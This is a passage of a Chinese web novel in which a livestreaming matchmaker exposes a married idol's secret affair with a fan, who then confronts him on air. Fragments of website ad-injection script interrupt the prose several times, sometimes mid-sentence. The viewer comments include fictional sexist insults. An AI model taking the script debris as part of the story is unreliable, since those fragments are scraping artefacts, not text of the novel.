但——把她跟柏承哥之间的事搬到了直播间? 这不是影响柏承哥事业吗?! 不管她是怎么知道的——这是能说的吗?? 骂完,她手速飞快,立刻点开后台,打了大段大段的文字,想要在私聊窗口给这个没眼色的主播发消息,警告对方不要再乱说话,却没能把消息发出去,只收获了几个红色感叹号,以及一条提示。 ——平台有限制,若双方非互相关注的好友,对方没有回消息的前提下、最多只能单方面向发送三条消息。 在刚刚发送个人信息的时候,三条已经尽数被她用光了。 见状,女生面色涨红,既怒火中烧,又忍不住担忧和恐惧,忧惧惊怒之下,打字的手都在抖。 【柏承哥的真嫂子:你胡说八道什么!我跟柏承哥之间清清白白,纯粹就是爱豆和粉丝的关系,哪来的什么纠缠!】 【柏承哥的真嫂子:还有,柏承哥绝对不会结婚的,他是傻了吗现在结婚?!而且我们都是从当年一路追他到现在的,他结没结婚,我 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 们还能不清楚?】 【柏承哥的真嫂子:他绝对没有!!】 莺芝阖了阖眼,想要叹息,又觉得今天叹气太多了,工作中不能这么频繁地叹气。 她正色看向镜头:“这等事情,你是被伤害的一方,所以我没有欺骗你的必要,若你不信,我可以再与你说上一些——与你现在有所纠缠的缘、也就是任天博其人,你与他是在六年前的某次因缘际会中相遇,并在三年前的夏有所发展,是也不是?” 女孩涨红的脸色唰地一白。 她怎么知道的? 而且—— 连柏承哥的真名都知道?! 这个名字从未在任何地方流传过……连个人工作室那边柏承哥的章都是艺名…… 就连她自己,也是一次在酒店偶然看到柏承哥的身份证才知道的这个名字啊? 六年前,三年前…… 难道是手里有料的狗仔? 可要是狗仔的话,六年前,柏承哥还是个没正式参加选秀、也没什么曝光的练习生,怎么会有狗仔去蹲他? 就算蹲到了,又怎么会这么有耐心等上这么多年? 而且……谁能保证她今天就一定会进入这个直播间、又恰好心情不好,和主播掐上? “够了,别说了……” 意识到对方似乎真的是有点东西的、以及接下来还有更多要说的,女孩脸上血色尽褪。 但,她没办法给对方发私聊警告威胁哀求,而在公屏上,但凡有丝毫露怯、都只会加重这个锤。 惹祸了…… 她一时僵住,脑子里一片混沌,完全不知道要怎么办才好。 下意识地,她拿起了身边放着的另一部手机,凭本能拨通了一个号码。 哥哥…… 快接电话啊…… “喂?” 终于,在她的祈求中,已经失联一天的人终于重新接了她的电话。 她如同溺水之人抓到了救命稻草,差点压抑不住语气中的欣喜和激动:“柏……” “——你到底闹够了没有?” 听筒中,醇朗的男声压得极低:“不是跟你说了吗,我这几天有事别给我打电话——交往纪念日有什么好过的,能比我的事业还重要吗?” 女生被这不耐烦的低斥训得一怔,下意识就脱口道:“对不起,我不是有意……” “行了,别说了。”男声打断了她的道歉,但语气缓和了一些,似乎被这温顺的态度取悦,继而道,“知道就行,乖乖待着,别找事,等我有空会联系你的。” “柏……” 嘟—— 女生还想说些什么,但未尽的音节全都被冰冷的系统音吞没。 她有些茫然,似乎没有反应过来发生了什么。 这时,一道温和悦耳、如同莺鸣的女声,把她从茫然中唤醒,注意力也跟着飘了过去。 那小小的手机屏幕中,直播间里,穿着件漂亮的粉色裙子,即使是素颜也让人忍不住心生赞叹的年轻女主播语气温柔,正说着什么。 “——他与他的正缘少时相识,相伴相知,顺理成章结为了夫妻。五年前的…嗯、明日,正是他们确立婚姻关系的日子。” 5. 第 5 章 【骂谁二次元呢:任天博,是指任柏承吗?】 【骂谁二次元呢:啧啧,这艺名确实更爱豆一点。】 【给予她温油ma:我听明白了,意思就是说,这个男的不仅有个青梅竹马的老婆,还跟一个女粉丝搞上了。牛x,这么渣。】 【履行摸鱼职责:看这个嫂子小姐姐的样子,像是不知道这事。那这件事要是真的,不就是被动当三了?】 【晚间生物:原本看她发言挺烦的,没想到这么可怜。】 【骂谁二次元呢:我觉得她应该不知道,rbc那厮我看他不爽很久了,一边吃着女友粉的红利,一边到处麦麸想着cp粉两手抓,还总把粉丝当韭菜,吃相这么难看,人能好到哪去?】 【一只浪迹瓜田的猹:他那个业务能力也就一般啊,粉丝还给吹上天,我等他塌房很久了。啧啧,隐婚,出轨,睡粉,哪一样都够爆炸的。主播姐姐,有什么能当证据的吗?说出来把他锤了啊!】 “抱歉,我虽然能够从对方的缘线中看出诸多的缘,但这次向我祈愿寻求帮助的是崔姑娘,所以若她想得知、是有权得知这些的,我所说的一切,也不过是为了帮她解决她的缘线缠杂问题罢了,并不是为了‘揭穿’谁。” 莺芝声音温和,回应着弹幕上让她“再说多点”“放锤”“最好精确到日期”等的言论。 而那位“崔姑娘”、崔梦语,也就是“柏承哥的真嫂子”,正在屏幕前,望着那些弹幕愣愣出神。 ……当三? 刚刚被莺芝话语震在当场她还处在茫然中,便看见了这一系列的讨论。 这让她原本就没了什么血色的脸更是一片惨白。 她……是第三者吗? 柏承哥他,真的结婚了? 有了方才一系列天知地知、只有她和柏承哥知道的事被一点点托出,崔梦语现在对莺芝已经完全不见了初时那种对待骗子的轻蔑,反而有些难以遏制的恐惧。 恐惧的来源,是那种“能够看清我所有事”的玄乎感。 至于信服度,自是更不必提。 她完全不怀疑对方话语的真假。 强忍着情绪,崔梦语盯着那一行行的弹幕,回忆起刚刚莺芝所说过的,被她不屑一顾被她盖章为“造谣”的所有话。 ——她说,柏承哥和他的“正缘”,少年时就认识了,一路陪伴,在五年前结婚。 但,她认识柏承哥六年了。 六年前,她被同学带去线下演出看练习生们登台,在那个偶像行业并没有如此普及、年龄轻化的当年,台上演出的练习生们多是二十上下的年龄。 他也在,但不是在台上,而是在场地内无人注意的角落。 二十一岁的大男生扬首仰望着台上,眼中充满着憧憬和向往。她只是匆匆一瞥,就再移不开目光。 那是她第一次遇见他。 原来在那时候……他就已经有青梅竹马的有女朋友了。 五年前,他们结婚。 彼时,她和他已经相识相知,彼时,对方已经在为出道而努力,彼时……他背着所有人,在二十二岁、在刚一到达结婚年龄,就带着那个女孩去领了证。 崔梦语嘴里有些发苦。 她当年跟他认识,本来是没想着要在一起的,做一个灵魂契合的朋友也很好,可以互相鼓励一起向前。她知道他还在上学就偷偷溜出来当练习生,也知道他有多想站在台上。 后来,他一步步走得更远。在某次演出后的大粉见面会聚餐后,她送喝多的他回酒店,被他留了下来。 他不肯公开,她双手同意,因为对方是偶像。这样的人,是不应该暴露感情事宜的,他要站在灯光下,要站在所有人面前,要以最完美的姿态,满足所有粉丝的期待,单身,是一个偶像必备的硬性条件。 虽然这样有些对不起喜欢他的粉丝们,但,她不忍心对他说不。 她一直以为,自己是对方的知己,完全不在意什么名什么份,只要能像一直以来的这样,陪在他身边就好了,默默陪伴着他,支持着他,陪他走过所有昏暗无光的日子,然后在台下,仰望着闪闪发光的他。 但是,现在,却有人告诉她,这都是假的。 他的身边,默默陪伴着他、支持着他、陪他走过所有日子、在鲜花和人群之外等待着他的,确有其人——却不是她。 对方比她陪他更久,比她更名正言顺,比她付出更多更多更多。 崔梦语一点一点地回忆着,眼眶瞪得发干发涩,却始终流不出一点眼泪。 他留下她,和她在大床上耳鬓厮磨时,他是有妻子的,他的妻子正在他们的家里,等待着他。 而他这几天不回消息,挂掉电话,口口声声说什么“工作重要”,但身为他的女朋友、又是大粉之一的她,却完全没有收到工作室任何行程的通知,原本就有些疑惑。 现在想想,实际上,是因为这几天,是他和妻子的结婚纪念日吧? 他每次的到来,她每次的追随行程,他们每次的热火,他的妻子都在他们两人的家中,等待着他。 她自以为是解语花,痴心人,所有的一切,都只不过是笑话。 事实是,她欺骗了同为粉丝的其他女孩们的感情,插足了和竹马正常结婚的那个女孩的家庭——然后,还在这里恬不知耻地自我感动着。 ……她,真的是第三者。 【你到底说不说:急死我了,那个崔小姐咋还不出来?主播都说了这么多了,你倒是出来说点啥啊,我是真的想吃明白这一口瓜。】 【[任柏承什么时候四]送出应援棒x66】 【[任柏承什么时候四]送出连环礼花x3】 【[任柏承什么时候四]送出珊瑚真珠x3】 【[任柏承什么时候四]送出珠光宝玉x3】 炫目耀眼的礼物特效一行行刷过去,顶着加亮ID的弹幕随之飘出。 【任柏承什么时候四:山林不语,我知道是你,别躲着了,你出来啊,平时跟我们撕的时候不是挺能耐的吗?我这一听说任柏承出事就马不停蹄赶来看了,更多的姐妹还在路上,马上到场,你可别不敢应阵啊】 【任柏承什么时候四:你不是爱说笑死么,动不动就我们笑死你了,你现在怎么不笑了?】 【任柏承什么时候四:山林不语,别当孙子,你不是护承宝吗,出来说话!】 【骂谁二次元呢:粉圈虽迟但到。】 【履行摸鱼职责:这阵仗,rmb开路,好可怕,好吓人】 【你到底说不说:什么粉圈打架不打架的谁都行快点出来说话啊我就想吃个瓜急死我了】 【一只浪迹瓜田的猹:你改名叫一只焦急转圈的猹吧,适合你】 机械地盯着屏幕的崔梦语,在看到【任柏承什么时候四】出现时完全没什么想要回嘴的心情,即便这位准确地叫出了她在后援会的ID,叫出了她在粉丝群体里的名字,即便正如对方了解她一样,她也能清晰认出对方皮下是谁,但,她都没有心情回应。 这短短几分钟里的思考,已经烧干了她在这段“追星”里的所有表达欲望。 她只是怔怔地看着屏幕,本能地阅读者一行又一行的弹幕,大脑机械地处理着那些信息。 【晚间生物:差不多得了吧,崔小姐姐也是受害者啊】 【[晚间生物]送出糖果礼盒x5】 【给予她温油ma:受害者?这种情况女的怎么可能不知道男的结婚了,俩人都脱了裤子躺一个被窝了,对那点事还能一点察觉也没得?肯定是一个看上钱脸或者“真爱”,另一个图年轻图新鲜图偷吃呗,就是可怜他老婆了。】 【任柏承什么时候四:难怪这么护他,原来爬了他的床。】 【任柏承什么时候四:一个知三当三的婊子,一条隐婚睡粉的公狗,你们也真算天造地设的一对狗男女了哈。】 “——适可而止。” 眼看着弹幕消息在个别出挑的发言中,开始从友好交流变得有攻击性,从对她的怀疑质疑渐渐转变成了对来求助者的攻击,莺芝皱起眉,叫停了这一切。 【任猪臭脚:我们送礼物了还不能说话?你这主播拿了钱就别多事好吗?】 莺芝神情微冷:“本直播间为定缘直播间,并非闲话集市,既然来到这里, (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 就该遵循这里的规矩,尊重他人——这与是否送礼物无关。” 直播间观众在不知不觉中已经突破四位数,尤其在“任柏承”的名字被正式提出后,大片大片的观众如同潮水般涌入,将莺芝直播间热度推向小高潮的同时,也带来了更多难以管控的发言。 听了她这话,从一开始便在直播间的一些观众们这才迟迟地发现,这位小姐姐,似乎一直没有感谢过任何一条礼物和打赏…… 在她看来,这是真不值得她提上一句的啊? 来自突然涌入的、一系列挂着“任柏承”相关ID的观众们此起彼伏的发言中,莺芝虽然还是带着工作的笑,笑意却已经淡得几乎不见。 她淡声做了总结:“总之,希望各位控制发言,不要随意攻击他人。否则请从这里离开。” 手机里,动听的女声传出,觉得自己都快要变成木头了的崔梦语不知道为什么,鼻子突然一酸,眼泪不受控制地夺眶而出。 一瞬间就泪流满面。 她颤抖着手指打字。 【柏承哥的真嫂子:我没有,我不知道,我真的不知道……】 【柏承哥的真嫂子:我真的不知道……】 她真的不知道任柏承有女朋友,有妻子。 她真的不知道她介入了别人的家庭。 她真的不是故意—— 【任柏承什么时候四:好了,这下事情明了了。】 【任柏承什么时候四:任柏承大粉,后援会会长,山林不语,正式盖章承认,她和任柏承有一腿,任柏承睡粉实锤。同时,任柏承疑似隐婚、出轨。】 【骂谁二次元呢:……啧】 【履行摸鱼职责:这下是真的几乎可以确认了……可惜小莺姐姐是算卦的,不是狗仔,不能当真正的资料。要是崔小姐姐这里有点什么证据,这些证据累加,直接能锤得rbc永不翻身了。】 【我真没有QAQ:算卦本来就是这样,是能算出来不假,但你难道还能指望算卦的给你拍张照片和录段视频?玄学虽然有用,但不是万能啊。反正我现在是真的信小莺是个有点东西的了。】 【我真没有QAQ:那小莺,你能根据我的生辰八字算出我爸和我妈的姻缘吗?】 “不能。” 对这位一开始就表现得很相信“玄学”的观众有一定的印象,莺芝耐心地回答着:“之所以能够从崔姑娘的信息中‘测算’出任天博的缘,是因为崔姑娘的缘线与对方的缘线在姻缘方面有所纠缠,所以能够顺藤摸瓜,从这里探到对方的一二。” “就像这样。”说到这里,她把红线小人拿了起来,又抽起另一根姻缘线,把两根交叉放在了一起,“但你父母的缘线与你的,则只会有亲子缘,在象征姻缘的方面不会有任何联系,所以我无法看到。若想要‘测算’你父母的姻缘,则要用他们的八字等信息。” 【我真没有QAQ:……原来如此。受教了!】 【[我真没有QAQ]送出珊瑚真珠x1】 【晚间生物:我这是听了一堂玄学课吗,感觉小姐姐在试图教会我怎么算卦,第一课:《姻缘卦测算的原理》】 崔梦语呆呆地看着直播,有点不懂怎么话题就转偏了。 突然,放在一旁的手机响了起来。 她被突如其来的铃声吓得一个哆嗦,旋即才反应过来,看向屏幕。 ——[柏承哥]来电。 她眼神一黯,没有理会手机,让它就那么在桌子上欢唱震动着。 直播间里,一条来自加亮的明晃晃ID的消息刷了出来。 【任柏承什么时候四:山林不语,你不打算多说点什么?我已经把这件事发网上了,有直播切片,有你的发言,该有的都有,相信很快就会热闹起来了。】 崔梦语一怔,又看向那个正在响铃的手机。 所以,柏承哥、——任天博,他这是知道这里发生的事了? 她伸出手,又突然有些胆怯,不敢去触碰那个手机。 直播间,温柔的女声透过屏幕,如春风般温煦。 “崔姑娘,并不属于你的缘,及早断掉,对你来说是一件好事。” 6. 第 6 章 ……不属于我的。 崔梦语怔怔看着屏幕中的女性。 即便在刚刚,自己还态度恶劣地跟对方针锋相对,因为心情不好而无理取闹找对方的茬、拆对方的台,但从头至尾,在那张清丽的脸上,都没有出现过任何不耐烦和气恼的情绪。 唯一的一次冷淡,还是因为,在制止那些人骂她。 她始终温和,始终微笑。 直到此时此刻,对方的态度,依旧是那么和善,神情中没有丝毫芥蒂,语气里甚至还有着些许的“袒护”—— 就像是,自己完全没有做过什么对她那边不好的“坏事”一样。 到底是因为这是身为一个主播的职业素养,还是因为她真的脾气那么好? 好得简直,简直不像是个正常人。 明知不合时宜,但崔梦语还是有些控制不住地发散着。 如果是她,她肯定是做不到这样的,就算是自己的好朋友,这样没有理由地就开始找茬闹事,她也会生气。 但对方没有。始终没有。 像个假人一样。 “崔姑娘,你还在听吗?” 小小的手机屏幕里,那位没脾气似的主播又一次开了口,“需要我帮忙吗?无论是断缘,还是为你测算真正的缘,都可以。” 她连笑容弧度没有丝毫改变。 但无论是态度还是话语的内容,都明晃晃地标示着“偏袒”。 她似乎在说:如果你想要断掉这段“孽缘”,无论是选什么样的方式,我都可以帮忙。 旁边,短暂消停了片刻的另一部手机再度响了起来,把桌面震得嗡嗡颤动。 屏幕上,讨论谩骂侮辱一屏屏滚过去,依然盯着莺芝的崔梦语恍惚了一瞬。 她觉得,假人的说辞太不尊重,如果换一个说法,这个小主播……于她而言,更像是一个包容的,仁慈的,心软的神。 在世界崩塌,也许会背负万人唾骂的时刻,真正的神对她伸出了手。 像她这样,无知、愚蠢、偏执……还坏,伤害了素不相识无辜女孩子的恶人,也会有被救的资格吗? “不属于我的……断掉,对我是好事……都到这个时候了,我还配奢求‘好事’吗?” 自嘲地笑了笑,崔梦语侧眸看了一眼震动不息,闪动着[柏承哥]来电的手机。 根据她对任柏承的了解,不用接就基本可以想象到电话接通后他会是什么态度、又会说些什么。 她脑子里乱糟糟的,挣扎,失望,纠结,痛苦,犹豫,无数情绪毛线一样混成了团,一时难以理清。 明天,就是他和他那位青梅的结婚纪念日了。 他敷衍自己,敷衍自己的“交往纪念日”,是为了和她过结婚纪念日吗? 可,如果他记挂着结婚纪念日,又为什么会在三年前的结婚纪念日前后和她发生关系? 任柏承,任天博他——到底是怎么看待他和她的婚姻的? 那位青梅的妻子,知道他的这些事吗? 知道他是什么样的人吗? 她是一直被蒙在鼓里,还是隐约察觉到过什么? 想到这里,崔梦语抿了抿唇,坐直身体,整理了几下有点乱了的头发。 她调出输入法。 【[柏承哥的真嫂子]送出盛世焰火x1】 【柏承哥的真嫂子:主播,可以连麦吗?】 ——连麦? 满屏炸开的绚烂烟花特效中,莺芝看到了加粗加亮,甚至加了炫彩底框的,崔梦语的弹幕。 回忆了一下文隽下午的“授课”,似乎提到过一下这个词语——是说观众可以与她对话,而不是只能像现在这样,只能文字交流? 莺芝想了想,没有拒绝。 “可以。” 不管对方想说什么,直接对话总比一个说话一个打字来的方便。 在弹幕轰然炸开,讨论着这惊天大瓜的主人公之一突然送出最高档的礼物、突然要连麦等内容的时候,崔梦语操作完观看直播的手机,拿上了身边一直在间歇响动的另一个。 【[柏承哥的真嫂子]申请加入直播,是否同意?】 摸索着开放了权限,莺芝看到这个提示,没有顾得上研究,便点击了确认。 紧接着,她的直播画面自动缩小了一半。 屏幕的另一半,多出来了另一个窗口,里边是一个留着头长长卷发,带有口罩的女孩子。 【骂谁二次元呢:……啊??你们说的连麦,是指开视频连吗?】 【一只浪迹瓜田的猹:我觉得,我嗅到了不同寻常的气息。】 【履行摸鱼职责:额,虽然戴着口罩,但是我感觉,真嫂子小姐姐也挺好看的……】 【任柏承什么时候四:笑死,她要是没这张脸,怎么能被那条公狗看上?那可是没钱都消费不起的贵鸭。不要她的钱,免费伺候,当然是在消费她本人。】 【[任柏承什么时候四]送出盛世焰火x1】 【任柏承什么时候四:既然上麦了,是来吵架还是来维护你家那条主子的,直接说吧。】 【骂谁二次元呢:……你们粉圈,胜负心还是这么强。】 【给予她温油ma:新人主播第一天收两个焰火,赚翻了。】 【履行摸鱼职责:我也好想挥挥手就给小莺姐姐送出一个焰火,可惜我的钱包不争气,啊啊。】 【任猪排速糊:山林不语,上麦了就赶紧说话,别装哑巴。】 【你到底说不说:我快急死了,谁都好,快点推进吧我要听瓜】 【晚间生物:谁手机在响?】 前后两个焰火,热度叠加,直接吸引来了大波观众,而加上被粉圈人士们渲染公开的“瓜”,小小的直播间里,每秒钟都有数不清的人蜂拥而至。 红线小人的两个红豆眼睛,愣是挤出了“目瞪口呆”的效果,抱着莺芝的手指,仰望着架在支架上的手机。 莺芝点了点它的脑袋,看着卡顿的手机,总算明白了文隽为什么说直播是符合她要求的“方法”了。 ……好多人啊。 果然,想要挽救香火,还是得来凡间。 收拢思绪,她看向崔梦语:“想说什么?” 崔梦语带着临时摸出来遮挡下半张脸的口罩,对着莺芝点了点头,没有说话,而是微微垂下眼,接通了数不清是第几次响起的电话。 下一秒,一道男声通过小小的直播间,通过被点了一下的“免提”,传到了天南地北无数人的耳中。 “你在搞什么?!” 不耐的、高亢的,带着毫不掩饰怒火的一句开场白。 由于情绪过于外放,导致那些在别的平台看到剪辑后跟风找到直播间,准备随时“反黑”的任柏承粉丝们,都没能第一时间辨认出,这本该是她们最熟悉不过的声音。 男声还在继续:“经纪人都找到我这儿来了,让我去看热搜,群里其他人也都在看笑话——你能不能让我省点心?那直播间到底怎么回事!” 听到这十分不客气的内容,莺芝皱了皱眉。 她看向屏幕另一半,崔梦语没有动作,只是低着头,看不清表情。 “我就是不知道怎么点进了这个直播间,说是能算卦,这不明摆着是骗子吗?我就凑了个热闹,也没想到会这样啊。” 她听起来似乎有些委屈,还有点亲昵的抱怨,“你又不理我,我无聊啊,就刷视频啊,随便进了个直播间,哪知道发展成这……” “——你能不能长点脑子!”男声气恼至极,“就算再无聊,话能随便说吗?什么就我跟你有一腿了?你知道这种话要是被有心之人听到,对我会有什么影响吗?!你又不是不知道那几个蠢货惦记我位置多久了——要是影响了公司对我的发展规划,你准备怎么办?蠢货!” 就 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 算再陌生,也有越来越多的人认出了这男声是谁。 瞬息之间,直播间的弹幕如同烧开了的水,彻底沸腾起来。 不止是为这男声的态度、还有他话中暴露出的所有,不为大众所知的内容。 吵架的吵架,看热闹的看热闹,莺芝先前的“警告”完全不顶用了——场面已经失控,需要禁言和拉黑才能制裁了。 可惜她还不会这两样技能。 而风暴的中心,酿成这一切混乱的源头——崔梦语,还是刚刚的动作,脑袋微垂,但语气却有了点改变。 听起来,她似乎也被这一通不客气的指责给惹生气了。 “那你说怎么办?我刚刚都给你打电话了,想问你要怎么做,是你自己不让我说话,这时候又怪起我来了?在你心里,我就是那么不知轻重的人吗?我有拿你前途开过玩笑吗?任柏承,你别太过分了——” 她声音里的委屈越发浓重,还带着些哽咽,“而且,你不找我我还要找你呢,那个主播说你结婚了,要不是她说,我还不知道这事,你真是好样的啊,骗我这么久?” 男声一滞。 随后,在所有人的“竖起耳朵”中,他突然软了语气。 “怎么可能,你也说了,那就是个骗子啊。”他压着刻意轻柔的声音,贴心的,诚恳的,“你还不知道我吗?我肯定是把事业放在第一的啊,然后就是你,不要胡思乱想,好吗?” “至于那个直播间,你退出来了吗?没有的话就快点退出来,不要再多说了。我相信你不会直接暴露我们的关系,但是已经够了,多说多错,乖乖的,好吗。” 崔梦语顿了顿,仿佛又被他这短短的温言软语劝慰,沉静了下来,不再如火药桶。 她带着哽咽问道:“那,这件事怎么办?” 听她松口,男声像是舒了一口气,而后,也带了些惋惜和忧愁: “这件事可能有点麻烦……毕竟,就算没有实锤,但舆论上去了,我‘疑似睡粉’的风声传出,公司也必然会对我进行一定的冷置,队长的位置都可能不稳——” “虽然这是你的错,但我不怪你。毕竟我是你的男人,该为你的错误承担后果,就算这是我拼搏了多年的结果。这条路是我们一起走来的,无非是倒退几年……” 说到最后,他似乎遗憾地摇了摇头,很是怅惘,又携着恰到好处露出的一丝迷惘,“我……会成为一个笑话吧?从高高在上的位置掉下来,和他们平起平坐,每天每天,被嘲笑。” 听完任柏承的话,弹幕满屏的惊叹中,莺芝有点疑惑。 ——大家在说的“PUA”,是什么意思? 崔梦语状似惊惶道:“那怎么行!这是你的一切,怎么能就这样……真的没有办法了吗?” “办法是有的……但是那需要你为我承担。小语,你说,我怎么能忍心呢?” 没有人能够看到的地方,崔梦语勉强地牵了牵嘴角,是自嘲,也是讥讽。 从甜言蜜语织就的陷阱中跳出,以往很多没看懂的事,都再明了不过。 原来,都是她被迷了眼。 是啊,他一直都是这样的人。 她问道:“什么办法?” 男声愈发的温柔,谆谆诱导着:“舆论这种事,一旦有了苗头,就算是捕风捉影的,也很难刹住。所以现在这情况,要是想补救,就只能你站出来,公开表明态度……这一切,都是你的臆想,你的手笔。你爱我,也想我爱你,所以……” 崔梦语抬起了头,语气冷漠。 “——所以,这都是我一厢情愿的幻想,是我沉溺于自我构建的爱中、对你的意淫,所以,我要一口咬定,是我找主播陪我炒作,演了这么一场戏,对吗?” 男声笑道:“对,聪明,不愧是我看上的……” “——任柏承,我和主播在连麦。” 嘟—— 电话挂断了。 7. 第 7 章 似乎一点也没意外电话会被挂断,崔梦语说完那句话,沉默看了屏幕两秒,放下了手机。 她看向连接着直播间的手机,看向莺芝。 “我其实……没想过要做这么绝的。” 嗓音偏低,眼眸无神,看上去有些失落。 已经达到了数万人同接的直播间里,弹幕一片热闹。 【小姐姐什么意思,不会是后悔了吧?】 【绝吗?哪里绝了?这种死男人就该被钉死到耻辱柱上!】 【真够劲爆的啊……任柏承原来私下里是这个样子的,啧啧】 【爆料都爆料了,有啥后悔的啊这种渣男!】 【要是真的后悔了,那我就要真吐了,渣男贱女配得一比】 【这不就是一种回踩吗,脱粉回踩,分手回踩——太冷酷无情了吧,这种女的好恐怖,分手就把人直接搞死……好歹这也是你真心爱过的人?】 【一想到她手里可能还握着各种亲密的照片、录音等东西,我就觉得浑身发毛……这个年代,谈恋爱真危险啊】 【山林不语,算我看错你了!你怎么能这么对柏承哥?联合外人一起演戏,还找了模仿柏承哥的声音,多大仇啊?】 【造这种谣,山林不语你夜里不会做噩梦吗?】 【你亲手毁了他,你个吃里扒外的私生饭!!】 大片大片看热闹的讨论声中,莺芝扫过那些消息,对现代凡间人们的思想有了大概的了解。 她没有再做无谓的阻止,而是把重心放到了和崔梦语的沟通上。 轻轻颔首,莺芝露出了表示理解的神色。 她噙着弧度固定的,淡淡的笑容,对崔梦语道:“即便你们的交谈会暴露在外人面前,只要他有些许悔改之心,便也不会到如此地步。” 崔梦语的意思,或许并不是“后悔”,而只是感慨。 她只是想借此断掉两人的缘分,干净利落。 但同时,也没有想过,对方会直接暴露如此多的内容,话赶话,竟发展如此。 在莺芝看来,这又何尝不是给对方最后一个机会。 如果对方坦荡承认,并对这个被他欺骗多年的女性表以歉意,对他的婚姻表以歉意,摆正态度,那么一切便也不至于如此。 他虽然仍旧可能会失去现有的这份不允许结婚和有感情的工作,失去许多粉丝,失去许多,但最起码,也会留下一个“知错能改”的名——至于失去的那些,原本就是他该为自己的错误付出的代价。 等这件事传开,或许,还会有一些男人女人为他开脱,以“他只不过犯了男人都会犯的错”“不是都及时补救了吗”“他还是很在乎他的家庭的啊”“他就是真爱自己的老婆啊凭什么不允许结婚”等等等等理由。 但现在,他的所有的所有,几乎都被自己,在这一通电话中给亲手埋葬并断送了。 崔梦语听懂了莺芝的未尽之意,口罩之下,她扯起嘴角勉强地笑了笑,又摇头。 “我和他没什么不同,他犯了错,所以要承担结果,要失去很多……但我也犯了错,我不能拿自己什么也不知道来抵罪,把所有的问题都推给他——一个巴掌拍不响,苍蝇不叮无缝的蛋……这些话我都听过,也都知道。所以,我不会当做什么都没发生一样。” 她又整理了一下鬓边的头发,坐正了一些,端正地看向了镜头。 “是我的错,我犯了错,我对不起他的妻子,对不起他的粉丝们,对不起我自己。之后,我会……投身到公益中,未来两年内,我会把每月收入的一半都无偿捐献给妇女保护方面的公积益金会,为我这些年的无知和愚蠢……做一些补救吧。” 此言一出,直播间的观众们都呆住了。 随着先前那通电话,直播间里的人是只见多不见少,吵架的吃瓜的发表自己看法的云云种种不一而足。 而在崔梦语的这番话下,又是一波波的热潮被掀起。 【真的假的,直接拿一年工资出去?】 【我觉得,这也不是主动当三,被动的……其实也是受害者啊,没必要付出这么高的代价吧?】 【要是每个小三都这么有觉悟,世界上的公益活动要多多少助力啊!】 【没道理只有小姐姐一个人承担吧?任柏承呢?作为一个蝻人,又这么美美隐身了?】 【任柏承的瓜是大头吧,在现在这个明星摔一跤都是大事的时代,他想隐身也隐身不了,我看x博上已经闹开了】 【……小姐姐态度真的很好了,我一开始还以为她上来是要哭麦给自己立无辜人设的】 …… 其中也不乏任柏承的粉丝们,在尖锐地攻击崔梦语,攻击莺芝,攻击直播间,攻击其他黑粉,攻击指责任柏承的其他观众,但在此时此刻的直播间里,粉丝们这样的举动无异于给自己立了无数敌人,连带许多本来对事件持中立态度的纯路人观众都对任柏承及其粉丝们观感下降,下场加入了讨论。 即便任柏承是顶级流量偶像,粉丝数量堪称庞大,在这会儿的直播间里,替他说话的也都被所有观众一齐围攻,压得一点也看不见了。 直播间里,一条闪亮亮的礼物特效飘出。 【[任柏承什么时候四]送出盛世焰火x1】 【任柏承什么时候四:给任柏承未来的坟头放个烟花,姐妹们,铲子走起来!】 【任柏承什么时候四:另外,那谁,既然你都认错了……希望你说到做到。】 【任柏承什么时候四:姐妹们,撤!转移战场!给任柏承的棺材添一把土去——】 满屏璀璨的光华中,闪亮亮的ID发表了几条言论,而后毫不留情地扬长而去。 莺芝注意到,在线人数一瞬间下滑了百千余,但很快,缺失的那点数量又被更多闻风而来的人给补上。 【骂谁二次元呢:……来也匆匆去也匆匆,从头到尾目的明确,这就是粉圈的大姐头吗……】 【骂谁二次元呢:家人们,谁知道什么时候死姐的x博昵称是什么,我要去关注一下,感觉她和山林不语这对,针锋相对嘴硬心软宿敌但知音,好磕!】 【一只浪迹瓜田的猹:……二次元姐你也适可而止吧(/大汗)我又忍不住要刻板印象了】 【给予她温油吗:什么磕?】 【晚间生物:感觉看了一场大戏……话说回来,这件事怎么收尾?】 …… 崔梦语没有关注弹幕上那些乱七八糟的言论,说完自己临时想出来的“惩罚”后,她似乎也松了口气。 虽然那以为着她接下来的生活要经历很大的改变和考验,但无论如何,在今天这番像过山车一样的体验里,漂浮不定的一颗心总算有了归处。 大落小起,也算安定。 她看向莺芝: “……我的缘,这算是断掉了吗?” 莺芝手指微动,探查了一下,而后微笑道:“断了——你想听听你的正缘在何处吗?我可以为你测算一下,算是圆满这次的‘祈愿’。” 崔梦语微微一怔,旋即轻轻摇了摇头:“……不用了。我应该,不会想要‘缘’了。” 莺芝笑容一僵:“……” 啊? 完美无缺的表情渐渐有了皲裂的趋势,她开口,压着些小小的不可置信:“……为什么?” 像是补救似地,她语气都有些不甚明显的急促,“一段孽缘不代表段段都是孽缘,过去是悲伤的,但明天也许是美好的呢?人生在世,总要有些美好的情感和期待,不是吗?” 崔梦语把头发别到而后,仍然摇头:“一段不该有的‘缘’,就耗费了我这么多年的时间和精力,而之后,我还要为它带来的负面情绪和影响付出更多的时间和精力……太 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 累了,仅仅是维持正常的生活,我就已经很累了,承担不起更多这样的经历了。” 莺芝:“……” 不是,怎么,什么,啊? 那她这一“卦”算的,意义在哪? 非但没有帮助她找到正缘,甚至让她直接丧失了对“真情”的期待? ……就,纯白忙活、甚至还砸了一桩未来的业绩进去? 莺芝一点也不怀疑,摆出这样态度的崔梦语,以后要是去到寺庙……绝对也是给“暴富发财”“身体健康”“事业有成”投木牌,看都不会看“真爱降临”一眼的人群之一! 【履行摸鱼职责:哈哈哈哈哈哈哈哈哈为什么啊我好像在小莺姐姐脸上看到了怀疑人生啊】 【晚间生物:我又看了一眼直播间标题:职业月老。小莺月老这是直接砍红线,送人出家啊。】 【一只浪迹瓜田的猹:你们不说我都忘了这是个月老直播间,还以为是爆料直播间】 【你到底说不说:什么,这里原来是拉媒的?!】 …… 